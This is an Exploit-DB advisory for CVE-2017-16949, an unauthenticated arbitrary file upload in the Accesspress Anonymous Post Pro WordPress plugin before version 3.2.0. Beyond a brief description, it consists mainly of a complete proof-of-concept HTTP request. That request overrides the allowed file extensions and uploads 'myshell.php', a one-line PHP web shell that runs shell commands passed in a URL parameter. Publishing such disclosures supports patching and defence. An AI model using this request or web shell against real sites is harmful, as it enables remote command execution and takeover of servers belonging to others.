Accesspress Anonymous Post Pro < 3.2.0 - Unauthenticated Arbitrary File Upload

EDB-ID: 43324
Author: Colette Chamberland
Published: 2017-12-12
CVE: CVE-2017-16949
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: November 12, 2017 
# Exploit Author: Colette Chamberland
# Author contact: [email protected]
# Author homepage: https://defiant.com
# Vendor Homepage: https://accesspressthemes.com/
# Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446
# Version: < 3.2.0
# Tested on: Wordpress 4.x
# CVE : CVE-2017-16949


Description:
Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows
the attacker to upload anything they want, bypassing the filters.

PoC:

POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1
Host:server
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792
Content-Length: 264
Referer: http://target.com/
Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6;
Connection: close
Upgrade-Insecure-Requests: 1

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Content-Disposition: form-data; name="qqfile"; filename="myshell.php"
Content-Type: text/php

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

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